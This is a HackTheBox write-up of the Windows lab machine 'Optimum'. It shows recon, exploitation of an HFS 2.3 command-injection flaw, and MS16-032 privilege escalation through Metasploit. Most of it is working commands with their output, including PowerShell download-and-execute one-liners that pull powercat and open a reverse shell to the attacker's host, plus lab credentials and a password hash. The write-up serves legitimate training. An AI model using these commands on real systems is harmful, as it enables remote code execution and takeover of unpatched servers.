CyberSec Writeups

Red Team / Blue Team labs - HackTheBox, BlueTeamLabsOnline, TryHackMe, PortSwigger

HackTheBox: Optimum

windows hfs command-injection winpeas ms16-032

Optimum is a Windows-based machine authored by ch4p, with an average rating of 4.5 stars.

// Lessons Learned

  1. Don’t depend on any single tool in your workflow of enumeration & attack, always know about (and how to use) alternatives
  2. Network services protected by firewall (rather than just listening on internal interfaces) can be forwarded via chisel in exactly the same way

// Recon

┌──(kali㉿kali)-[~/HTB/optimum]
└─$ nmap -A optimum.htb   
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-08 07:35 AEST
Nmap scan report for optimum.htb (10.10.10.8)
Host is up (0.036s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.66 seconds

Nmap reveals a fairly barren attack surface on this target, with just an HttpFileServer running on port 80. Visiting the site in a web-browser returns a U.I that includes both a login (protected by what looks to be htaccess) and search feature, as well as confirmation of the software version:

// Initial Foothold

With no other software seemingly running, now is a good time to check for known exploits of this file server:

┌──(kali㉿kali)-[~/HTB/optimum]
└─$ searchsploit -w HttpFileServer 2.3
---------------------------------------------------------------------------------------------------- --------------------------------------------
 Exploit Title                                                                                      |  URL
---------------------------------------------------------------------------------------------------- --------------------------------------------
Rejetto HttpFileServer 2.3.x - Remote Command Execution (3)                                         | https://www.exploit-db.com/exploits/49125
---------------------------------------------------------------------------------------------------- --------------------------------------------
Shellcodes: No Results
Papers: No Results

The exploit found explains that this software may be vunlerable to remote code execution (RCE). Reading through the very short code provided, it looks like the exploit attempts to run using a technique known as command injection against the search endpoint:

url = f'http://\{sys.argv[1]\}:\{sys.argv[2]\}/?search=%00\{\{.+exec|\{urllib.parse.quote(sys.argv[3])\}.\}\}'

This line constructs a url that will request /?search=%00 (searching for a url-encoded null character) and then appending an exec.. statement to the end. If the server code doesn’t properly sanitise input or otherwise guard against this, it can be abused to unwittingly run whatever additional commands are passed to it. The example included demonstrates how to upload a powershell script capable of spawning a reverse-shell, mini-reverse.ps1:

python3 HttpFileServer_2.3.x_rce.py 10.10.10.8 80 "c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.4/shells/mini-reverse.ps1')"

When catching reverse shells, I’m usually partial to the excellent python script penelope, which can both spawn a listener and then can automatically handle all of the messy upgrade commands (terminal compatibility, stty settings etc.) with a single command. Sometimes though it has trouble establishing the connection (I haven’t been able to determine if this is a Windows-specific problem so far):

┌──(kali㉿kali)-[/mnt/…/VMWare-shared/github/brightio/penelope]
└─$ python penelope.py 443
[+] Listening for reverse shells on 0.0.0.0 🚪443 
[-] Invalid shell from optimum.htb~10.10.10.8 🙄
[-] Invalid shell from optimum.htb~10.10.10.8 🙄
[-] Invalid shell from optimum.htb~10.10.10.8 🙄
[-] Invalid shell from optimum.htb~10.10.10.8 🙄

Fortunately, there are many other great options available for setting up a reverse-shell, which also gives an opportunity to try new tools. In this case we’ll use powercat, which provides all of the features of netcat in powershell. We just need to host the script in a local folder on our attack box:

┌──(kali㉿kali)-[~/HTB/optimum]
└─$ python3 -m http.server      
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ..

then setup a regular netcat listener:

┌──(kali㉿kali)-[~/HTB/optimum]
└─$ nc -lvnp 443
listening on [any] 443 ...

and finally run the exploit, instructing the target to download the powercat.ps1 script and then immediately execute a command that should connect to the listener:

┌──(kali㉿kali)-[~/HTB/optimum]
└─$ python 49125.py optimum.htb 80 "c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.17.230:8000/powercat.ps1');powercat -c 10.10.17.230 -p 443 -e cmd"
http://optimum.htb:80/?search=%00{.+exec|c%3A%5Cwindows%5CSysNative%5CWindowsPowershell%5Cv1.0%5Cpowershell.exe%20IEX%28New-Object%20System.Net.WebClient%29.DownloadString%28%27http%3A//10.10.17.230%3A8000/powercat.ps1%27%29%3Bpowercat%20-c%2010.10.17.230%20-p%20443%20-e%20cmd.}

and we catch our shell, enabling us to access the user flag (for some reason kept at user.txt.txt on this machine):

connect to [10.10.17.230] from (UNKNOWN) [10.10.10.8] 49207
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\kostas\Desktop>whoami
whoami
optimum\kostas

C:\Users\kostas\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is D0BC-0196

 Directory of C:\Users\kostas\Desktop

14/04/2022  09:26 ��    <DIR>          .
14/04/2022  09:26 ��    <DIR>          ..
18/03/2017  03:11 ��           760.320 hfs.exe
18/03/2017  03:13 ��                32 user.txt.txt
               2 File(s)        760.352 bytes
               2 Dir(s)  31.880.237.056 bytes free

C:\Users\kostas\Desktop>type user.txt.txt
type user.txt.txt
d0c39***************************

// Privilege Escalation

Winpeas is one of the go-to tools for identifying paths to privilege escalation after achieving a foothold on a target, so uploading and running that via our kostas account seems like a good place to start:

C:\Users\kostas\Desktop>powershell -nop -c "(New-Object Net.WebClient).DownloadFile('http://10.10.17.230:8000/winPEASx64.exe','C:\Users\kostas\Desktop\winpeas.exe')"
powershell -nop -c "(New-Object Net.WebClient).DownloadFile('http://10.10.17.230:8000/winPEASx64.exe','C:\Users\kostas\Desktop\winpeas.exe')"

C:\Users\kostas\Desktop>
C:\Users\kostas\Desktop>.\winpeas.exe
...
����������͹ Basic System Information�
Check if the Windows versions is vulnerable to some known exploit https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#kernel-exploits
    Hostname: optimum
    ProductName: Windows Server 2012 R2 Standard
    EditionID: ServerStandard
    ReleaseId: 
    BuildBranch: 
    CurrentMajorVersionNumber: 
    CurrentVersion: 6.3
    Architecture: AMD64
    ProcessorCount: 2
    SystemLang: en-US
    KeyboardLang: English (United States)
    TimeZone: (UTC+02:00) Athens, Bucharest
    IsVirtualMachine: True
    Current Time: 17/4/2022 11:23:58 ��
    HighIntegrity: False
    PartOfDomain: False
    Hotfixes: KB2959936, KB2896496, KB2919355, KB2920189, KB2928120, KB2931358, KB2931366, KB2933826, KB2938772, KB2949621, KB2954879, KB2958262, KB2958263, KB2961072, KB2965500, KB2966407, KB2967917, KB2971203, KB2971850, KB2973351, KB2973448, KB2975061, KB2976627, KB2977629, KB2981580, KB2987107, KB2989647, KB2998527, KB3000850, KB3003057, KB3014442,                                                                                                                       
  [?] Windows vulns search powered by Watson(https://github.com/rasta-mouse/Watson)
 [!] Windows version not supported, build number: '9600'
...
����������͹ Checking AlwaysInstallElevated�
https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated
    AlwaysInstallElevated isn't available
...
����������͹ Users�
Check if you have some admin equivalent privileges https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#users-and-groups
  Current user: kostas
  Current groups: Domain Users, Everyone, Users, Interactive, Console Logon, Authenticated Users, This Organization, Local account, Local, NTLM Authentication
   =================================================================================================

    OPTIMUM\Administrator: Built-in account for administering the computer/domain
        |->Groups: Administrators
        |->Password: CanChange-Expi-Req

    OPTIMUM\Guest(Disabled): Built-in account for guest access to the computer/domain
        |->Groups: Guests
        |->Password: NotChange-NotExpi-NotReq

    OPTIMUM\kostas
        |->Groups: Users
        |->Password: CanChange-NotExpi-Req
...
����������͹ RDP Sessions
    SessID    pSessionName   pUserName      pDomainName              State     SourceIP
    1         Console        kostas         OPTIMUM                  Active
...
����������͹ Looking for AutoLogon credentials
    Some AutoLogon credentials were found
    DefaultUserName               :  kostas
    DefaultPassword               :  kdeEjDowkS*
...
����������͹ Enumerating Security Packages Credentials
  Version: NetNTLMv2
  Hash:    kostas::OPTIMUM:1122334455667788:f30e0f8f03e65e4f7b5694a0db7e9af0:0101000000000000de201b46db4fd801e4c63c25eb2c792d000000000800300030000000000000000000000000200000caa048b5f6d98f8c9ef7f451719b2f200aef7fc29a131b53af2b5bb9c674867a0a00100000000000000000000000000000000000090000000000000000000000
...

It always pays to patiently read through the lengthy output of winPEAS, because while it does an excellent job of using colour to emphasis high-impact issues, it doesn’t catch everything. At first pass, perhaps the most interesting finding on this target is the discovery of the autologon credentials for kostas. Re-use of credentials is a common means of priv-esc, but in this case the password discovered couldn’t be used anywhere else interesting, such as the HFS browser login page. Through enumeration of services listening on the internal interface, it was discovered that both SMB on 445 and WinRM on 5985 were running, which meant that we could test the credentials against those services through chisel, a TCP/UDP tunnel over HTTP. WinRM access was not available (likely due to permissions) but the kostas account was available to authenticate to the SMB server. Unfortunately, no shares were enabled for this account, making in a dead-end.

One other aspect of the winPEAS output above that was interesting was that Watson, a tool for automated exploit checking against installed Windows patches, was not able to run:

Windows version not supported, build number: '9600'

This may have been due to incompatibilities between the current version of winPEAS, and the .NET framework available on this machine. There are probably ways to overcome this, and more importantly alternative tools that can achieve the same result, but the output already includes a list of hotfixes applied to the system. One of these, KB3014442, caught my eye, as an exploit that I had used on a previous HTB machine. This fix relates to a Powershell-based local privilege escalation attack referred to as MS16-032. There are at least two ways of executing the attack, one is to upload & execute the linked powershell script, and the other is to use an established metasploit module. While my preference was to upload & execute the script manually, the exploit did not seem to execute cleanly, perhaps due to an unstable session. Turning to the metasploit module provided a much more stable experience:

msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > options

Module options (exploit/windows/local/ms16_032_secondary_logon_handle_privesc):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.16.255.138   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x86


msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set LHOST 10.10.17.230
LHOST => 10.10.17.230
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set LPORT 7777
LPORT => 7777
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > run

[*] Started reverse TCP handler on 10.10.17.230:7777 
[+] Compressed size: 1160
[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell
[*] Writing payload file, C:\Users\kostas\AppData\Local\Temp\xjfVJI.ps1...
[*] Compressing script contents...
[+] Compressed size: 3743
[*] Executing exploit script...
         __ __ ___ ___   ___     ___ ___ ___ 
        |  V  |  _|_  | |  _|___|   |_  |_  |
        |     |_  |_| |_| . |___| | |_  |  _|
        |_|_|_|___|_____|___|   |___|___|___|
                                            
                       [by b33f -> @FuzzySec]

[?] Operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handle
[?] Done, using thread handle: 1820

[*] Sniffing out privileged impersonation token..

[?] Thread belongs to: svchost
[+] Thread suspended
[>] Wiping current impersonation token
[>] Building SYSTEM impersonation token
[ref] cannot be applied to a variable that does not exist.
At line:200 char:3
+         $n_L = [Ntdll]::NtImpersonateThread($c2Q0, $c2Q0, [ref]$t_)
+         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (t_:VariablePath) [], RuntimeE 
   xception
    + FullyQualifiedErrorId : NonExistingVariableReference
 
[!] NtImpersonateThread failed, exiting..
[+] Thread resumed!

[*] Sniffing out SYSTEM shell..

[>] Duplicating SYSTEM token
Cannot convert argument "ExistingTokenHandle", with value: "", for "DuplicateTo
ken" to type "System.IntPtr": "Cannot convert null to type "System.IntPtr"."
At line:259 char:2
+     $n_L = [Advapi32]::DuplicateToken($m_b, 2, [ref]$cFw78)
+     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodException
    + FullyQualifiedErrorId : MethodArgumentConversionInvalidCastArgument
 
[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!

Az8qKW8sAQvClsbniM9rz27MVObvMvjD
[+] Executed on target machine.
[*] Sending stage (175174 bytes) to 10.10.10.8
[*] Meterpreter session 3 opened (10.10.17.230:7777 -> 10.10.10.8:49255 ) at 2022-04-11 13:49:00 +1000
[+] Deleted C:\Users\kostas\AppData\Local\Temp\xjfVJI.ps1

From here, we’re able to confirm our elevated account, and access the root flag in the usual location:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 3444 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\kostas\Desktop>cd ..\..\Administrator\Desktop
cd ..\..\Administrator\Desktop

C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is D0BC-0196

 Directory of C:\Users\Administrator\Desktop

18/03/2017  03:14 ��    <DIR>          .
18/03/2017  03:14 ��    <DIR>          ..
18/03/2017  03:14 ��                32 root.txt
               1 File(s)             32 bytes
               2 Dir(s)  31.888.404.480 bytes free

C:\Users\Administrator\Desktop>type root.txt
type root.txt
51ed1***************************
C:\Users\Administrator\Desktop>